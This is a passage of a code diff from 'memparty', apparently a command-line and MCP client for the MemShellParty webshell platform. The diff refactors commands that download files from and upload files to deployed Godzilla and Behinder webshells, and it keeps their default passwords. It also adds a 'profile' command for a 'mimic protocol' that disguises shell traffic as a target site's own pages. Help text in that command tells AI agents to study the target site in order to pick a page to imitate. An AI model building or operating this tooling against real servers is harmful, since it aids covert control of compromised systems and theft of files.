`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
2475
3696
|
);
|
|
2476
3697
|
}
|
|
2477
|
-
target =
|
|
3698
|
+
target = join6(localArg, name);
|
|
2478
3699
|
} else {
|
|
2479
3700
|
target = localArg;
|
|
2480
3701
|
}
|
|
2481
3702
|
const abs = resolve(target);
|
|
2482
|
-
if (
|
|
3703
|
+
if (existsSync5(abs)) {
|
|
2483
3704
|
if (statSync(abs).isDirectory()) {
|
|
2484
3705
|
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
2485
3706
|
}
|
|
@@ -2488,13 +3709,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
2488
3709
|
}
|
|
2489
3710
|
}
|
|
2490
3711
|
const parent = dirname3(abs);
|
|
2491
|
-
if (!
|
|
3712
|
+
if (!existsSync5(parent) || !statSync(parent).isDirectory()) {
|
|
2492
3713
|
throw new Error(`local directory ${parent} does not exist`);
|
|
2493
3714
|
}
|
|
2494
3715
|
return abs;
|
|
2495
3716
|
}
|
|
2496
3717
|
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
2497
|
-
if (!
|
|
3718
|
+
if (!existsSync5(localPath)) {
|
|
2498
3719
|
throw new Error(`local file ${localPath} does not exist`);
|
|
2499
3720
|
}
|
|
2500
3721
|
const stat = statSync(localPath);
|
|
@@ -2506,7 +3727,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
2506
3727
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
2507
3728
|
);
|
|
2508
3729
|
}
|
|
2509
|
-
return
|
|
3730
|
+
return readFileSync8(localPath);
|
|
2510
3731
|
}
|
|
2511
3732
|
|
|
2512
3733
|
// src/version.ts
|
|
@@ -2979,7 +4200,7 @@ function createMcpServer(client) {
|
|
|
2979
4200
|
}
|
|
2980
4201
|
if (result.ok && result.data !== void 0) {
|
|
2981
4202
|
try {
|
|
2982
|
-
|
|
4203
|
+
writeFileSync5(localPath, result.data);
|
|
2983
4204
|
} catch (err) {
|
|
2984
4205
|
result = {
|
|
2985
4206
|
...result,
|
|
@@ -3272,7 +4493,7 @@ function registerMcpCommand(program) {
|
|
|
3272
4493
|
}
|
|
3273
4494
|
|
|
3274
4495
|
// src/commands/parse-classname.ts
|
|
3275
|
-
import { readFileSync as
|
|
4496
|
+
import { readFileSync as readFileSync9 } from "fs";
|
|
3276
4497
|
function registerParseClassNameCommand(program) {
|
|
3277
4498
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
3278
4499
|
"after",
|
|
@@ -3285,7 +4506,7 @@ Examples:
|
|
|
3285
4506
|
).action(async (base64, opts, cmd) => {
|
|
3286
4507
|
let classBase64;
|
|
3287
4508
|
if (opts.file) {
|
|
3288
|
-
classBase64 =
|
|
4509
|
+
classBase64 = readFileSync9(opts.file).toString("base64");
|
|
3289
4510
|
} else if (base64) {
|
|
3290
4511
|
classBase64 = base64.trim();
|
|
3291
4512
|
} else {
|
|
@@ -3490,6 +4711,88 @@ The server name reported by '-c Server' is the value to pass as
|
|
|
3490
4711
|
});
|
|
3491
4712
|
}
|
|
3492
4713
|
|
|
4714
|
+
// src/commands/profile.ts
|
|
4715
|
+
function registerProfileCommand(program) {
|
|
4716
|
+
const cmd = program.command("profile").description("Manage site profiles for the mimic protocol (init / list / show / check)");
|
|
4717
|
+
cmd.command("init").description("Write a skeleton profile JSON for hand-authoring").argument("<name>", "profile name (letters, digits, '.', '_', '-')").requiredOption("--site <origin>", "site origin, e.g. http://target:8080").option("--json", "output raw JSON").action((name, opts) => {
|
|
4718
|
+
try {
|
|
4719
|
+
const profile = profileSkeleton(name, opts.site);
|
|
4720
|
+
saveProfile(profile);
|
|
4721
|
+
if (opts.json) {
|
|
4722
|
+
process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}
|
|
4723
|
+
`);
|
|
4724
|
+
} else {
|
|
4725
|
+
process.stdout.write(
|
|
4726
|
+
`profile skeleton written -> ${profilePath(name)}
|
|
4727
|
+
now edit it: paste a real page's HTML into "template", set "title",
|
|
4728
|
+
and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).
|
|
4729
|
+
AI agents: read the site's pages yourself and pick a high-traffic,
|
|
4730
|
+
self-contained page \u2014 see the "Site-mimicking traffic (mimic protocol)"
|
|
4731
|
+
section of the memshell-party skill.
|
|
4732
|
+
`
|
|
4733
|
+
);
|
|
4734
|
+
}
|
|
4735
|
+
} catch (err) {
|
|
4736
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
4737
|
+
process.exitCode = 1;
|
|
4738
|
+
}
|
|
4739
|
+
});
|
|
4740
|
+
cmd.command("list").description("List saved profiles").option("--json", "output raw JSON").action((opts) => {
|
|
4741
|
+
const names = listProfiles();
|
|
4742
|
+
if (opts.json) {
|
|
4743
|
+
process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}
|
|
4744
|
+
`);
|
|
4745
|
+
} else {
|
|
4746
|
+
process.stdout.write(names.length > 0 ? `${names.join("\n")}
|
|
4747
|
+
` : "(no profiles yet)\n");
|
|
4748
|
+
}
|
|
4749
|
+
});
|
|
4750
|
+
cmd.command("show").description("Print a saved profile").argument("<name>", "profile name").option("--json", "output raw JSON (default)").action((name) => {
|
|
4751
|
+
try {
|
|
4752
|
+
const profile = loadProfile(name);
|
|
4753
|
+
process.stdout.write(`${JSON.stringify(profile, null, 2)}
|
|
4754
|
+
`);
|
|
4755
|
+
} catch (err) {
|
|
4756
|
+
reportError(err instanceof Error ? err.message : String(err), []);
|
|
4757
|
+
process.exitCode = 1;
|
|
4758
|
+
}
|
|
4759
|
+
});
|
|
4760
|
+
cmd.command("check").description("Validate a saved profile (schema + basic sanity), exit 0 when valid").argument("<name>", "profile name").option("--json", "output raw JSON").addHelpText(
|
|
4761
|
+
"after",
|
|
4762
|
+
`
|
|
4763
|
+
Examples:
|
|
4764
|
+
$ memparty profile check acme
|
|
4765
|
+
$ memparty profile check acme --json
|
|
4766
|
+
`
|
|
4767
|
+
).action((name, opts) => {
|
|
4768
|
+
try {
|
|
4769
|
+
const profile = loadProfile(name);
|
|
4770
|
+
if (opts.json) {
|
|
4771
|
+
process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}
|
|
4772
|
+
`);
|
|
4773
|
+
} else {
|
|
4774
|
+
const templates = profileTemplates(profile);
|
|
4775
|
+
const lines = templates.map(
|
|
4776
|
+
(t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`
|
|
4777
|
+
);
|
|
4778
|
+
const shapes = profileRequests(profile).map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`).join(", ");
|
|
4779
|
+
const requestLine = shapes ? ` request: ${shapes}
|
|
4780
|
+
` : "";
|
|
4781
|
+
process.stdout.write(
|
|
4782
|
+
`profile '${name}' is valid
|
|
4783
|
+
site: ${profile.site}
|
|
4784
|
+
${lines.join("\n")}
|
|
4785
|
+
` + requestLine + ` paths: ${profile.paths.join(" ") || "(none \u2014 --dynamic-path will be a no-op)"}
|
|
4786
|
+
`
|
|
4787
|
+
);
|
|
4788
|
+
}
|
|
4789
|
+
} catch (err) {
|
|
4790
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
4791
|
+
process.exitCode = 1;
|
|
4792
|
+
}
|
|
4793
|
+
});
|
|
4794
|
+
}
|
|
4795
|
+
|
|
3493
4796
|
// src/commands/target.ts
|
|
3494
4797
|
import { Option as Option6 } from "commander";
|
|
3495
4798
|
function parseExtraHeaders3(lines) {
|
|
@@ -3687,7 +4990,7 @@ save is for choosing the name by hand.
|
|
|
3687
4990
|
}
|
|
3688
4991
|
|
|
3689
4992
|
// src/commands/transfer.ts
|
|
3690
|
-
import { writeFileSync as
|
|
4993
|
+
import { writeFileSync as writeFileSync6 } from "fs";
|
|
3691
4994
|
import { Option as Option7 } from "commander";
|
|
3692
4995
|
function parseExtraHeaders4(lines) {
|
|
3693
4996
|
const headers = {};
|
|
@@ -3759,9 +5062,9 @@ function printResult(result, localPath, savedAs, json) {
|
|
|
3759
5062
|
}
|
|
3760
5063
|
}
|
|
3761
5064
|
function registerDownloadCommand(program) {
|
|
3762
|
-
program.command("download").description("Download a file from a deployed webshell
|
|
3763
|
-
new Option7("-t, --tool <tool>", "shell
|
|
3764
|
-
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key
|
|
5065
|
+
program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5066
|
+
new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
|
|
5067
|
+
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
3765
5068
|
"--remote-charset <label>",
|
|
3766
5069
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
3767
5070
|
).option(
|
|
@@ -3809,31 +5112,24 @@ is never overwritten unless --force is given.
|
|
|
3809
5112
|
return;
|
|
3810
5113
|
}
|
|
3811
5114
|
let result;
|
|
3812
|
-
|
|
3813
|
-
|
|
3814
|
-
|
|
3815
|
-
|
|
3816
|
-
conn.pass ?? "pass",
|
|
3817
|
-
conn.key ?? "key",
|
|
3818
|
-
remotePath,
|
|
3819
|
-
{ ...common, remoteCharset: opts.remoteCharset }
|
|
3820
|
-
);
|
|
3821
|
-
break;
|
|
3822
|
-
case "behinder":
|
|
3823
|
-
result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
|
|
3824
|
-
break;
|
|
3825
|
-
default:
|
|
3826
|
-
process.stderr.write(
|
|
3827
|
-
`Error: download supports godzilla | behinder (got ${String(conn.tool)})
|
|
3828
|
-
`
|
|
3829
|
-
);
|
|
5115
|
+
try {
|
|
5116
|
+
const protocol = requireProtocol(conn.tool);
|
|
5117
|
+
if (!protocol.download) {
|
|
5118
|
+
reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
|
|
3830
5119
|
process.exitCode = 1;
|
|
3831
5120
|
return;
|
|
5121
|
+
}
|
|
5122
|
+
const options = { remoteCharset: opts.remoteCharset };
|
|
5123
|
+
result = await protocol.download({ conn, common, options }, remotePath);
|
|
5124
|
+
} catch (err) {
|
|
5125
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
5126
|
+
process.exitCode = 1;
|
|
5127
|
+
return;
|
|
3832
5128
|
}
|
|
3833
5129
|
let writeError;
|
|
3834
5130
|
if (result.ok && result.data !== void 0) {
|
|
3835
5131
|
try {
|
|
3836
|
-
|
|
5132
|
+
writeFileSync6(localPath, result.data);
|
|
3837
5133
|
} catch (err) {
|
|
3838
5134
|
writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
|
|
3839
5135
|
result = { ...result, ok: false, error: writeError };
|
|
@@ -3857,9 +5153,9 @@ is never overwritten unless --force is given.
|
|
|
3857
5153
|
});
|
|
3858
5154
|
}
|
|
3859
5155
|
function registerUploadCommand(program) {
|
|
3860
|
-
program.command("upload").description("Upload a local file to a deployed webshell
|
|
3861
|
-
new Option7("-t, --tool <tool>", "shell
|
|
3862
|
-
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key
|
|
5156
|
+
program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
5157
|
+
new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
|
|
5158
|
+
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
|
|
3863
5159
|
"--remote-charset <label>",
|
|
3864
5160
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
3865
5161
|
).option(
|
|
@@ -3908,27 +5204,19 @@ chunk aborts the transfer \u2014 the remote file may be left partial.
|
|
|
3908
5204
|
return;
|
|
3909
5205
|
}
|
|
3910
5206
|
let result;
|
|
3911
|
-
|
|
3912
|
-
|
|
3913
|
-
|
|
3914
|
-
|
|
3915
|
-
conn.pass ?? "pass",
|
|
3916
|
-
conn.key ?? "key",
|
|
3917
|
-
remotePath,
|
|
3918
|
-
data,
|
|
3919
|
-
{ ...common, remoteCharset: opts.remoteCharset }
|
|
3920
|
-
);
|
|
3921
|
-
break;
|
|
3922
|
-
case "behinder":
|
|
3923
|
-
result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
|
|
3924
|
-
break;
|
|
3925
|
-
default:
|
|
3926
|
-
process.stderr.write(
|
|
3927
|
-
`Error: upload supports godzilla | behinder (got ${String(conn.tool)})
|
|
3928
|
-
`
|
|
3929
|
-
);
|
|
5207
|
+
try {
|
|
5208
|
+
const protocol = requireProtocol(conn.tool);
|
|
5209
|
+
if (!protocol.upload) {
|
|
5210
|
+
reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
|
|
3930
5211
|
process.exitCode = 1;
|
|
3931
5212
|
return;
|
|
5213
|
+
}
|
|
5214
|
+
const options = { remoteCharset: opts.remoteCharset };
|
|
5215
|
+
result = await protocol.upload({ conn, common, options }, remotePath, data);
|
|
5216
|
+
} catch (err) {
|
|
5217
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
5218
|
+
process.exitCode = 1;
|
|
5219
|
+
return;
|
|
3932
5220
|
}
|
|
3933
5221
|
const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
|
|
3934
5222
|
logOp({
|
|
@@ -4083,7 +5371,7 @@ async function startRepl(build) {
|
|
|
4083
5371
|
|
|
4084
5372
|
// src/cli.ts
|
|
4085
5373
|
function buildProgram() {
|
|
4086
|
-
const program = new
|
|
5374
|
+
const program = new Command10();
|
|
4087
5375
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
4088
5376
|
"--api <url>",
|
|
4089
5377
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -4112,6 +5400,9 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
4112
5400
|
registerTargetCommand(program);
|
|
4113
5401
|
registerLogCommand(program);
|
|
4114
5402
|
registerParseClassNameCommand(program);
|
|
5403
|
+
registerProfileCommand(program);
|
|
5404
|
+
registerCustomCommand(program);
|
|
5405
|
+
registerDemoCommand(program);
|
|
4115
5406
|
registerVersionCommand(program);
|
|
4116
5407
|
registerMcpCommand(program);
|
|
4117
5408
|
return program;
|